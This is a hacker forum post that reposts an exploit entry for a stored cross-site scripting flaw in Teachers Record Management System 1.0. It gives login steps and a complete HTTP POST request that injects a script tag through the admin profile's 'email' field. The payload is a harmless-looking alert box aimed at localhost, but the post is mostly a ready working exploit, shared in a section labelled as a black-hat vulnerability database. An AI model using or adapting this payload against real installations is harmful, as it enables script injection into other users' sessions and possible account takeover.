跳转到帖子

游客您好，欢迎来到黑客世界论坛！您可以在这里进行注册。

赤队小组-代号1949（原CHT攻防小组）在这个瞬息万变的网络时代，我们保持初心，创造最好的社区来共同交流网络技术。您可以在论坛获取黑客攻防技巧与知识，您也可以加入我们的Telegram交流群 共同实时探讨交流。论坛禁止各种广告，请注册用户查看我们的使用与隐私策略，谢谢您的配合。小组成员可以获取论坛隐藏内容！

TheHackerWorld官方

Teachers Record Management System 1.0 - 'email' Stored Cross-site Scripting (XSS)

HACK1949
HACK1949
在 黑帽漏洞数据库

精选回复

发布于 
# Exploit Title: Teachers Record Management System 1.0 – 'email' Stored Cross-site Scripting (XSS)
# Date: 05-10-2021
# Exploit Author: nhattruong
# Vendor Homepage: https://phpgurukul.com
# Software Link: https://phpgurukul.com/teachers-record-management-system-using-php-and-mysql/
# Version: 1.0
# Tested on: Windows 10 + XAMPP v3.2.4

POC:
1. Go to url http://localhost/admin/index.php
2. Do login
3. Execute the payload
4. Reload page to see the different

Payload:

POST /admin/adminprofile.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: vi-VN,vi;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 91
Origin: http://localhost
Connection: close
Referer: http://localhost/trms/admin/adminprofile.php
Cookie: PHPSESSID=8vkht2tvbo774tsjke1t739i7l
Upgrade-Insecure-Requests: 1

adminname=Adminm&username=admin&mobilenumber=8979555556&email="><script>alert(123);</script>&submit=

创建帐户或登录后发表意见

转到主题列表

最近浏览 0

  • 没有会员查看此页面。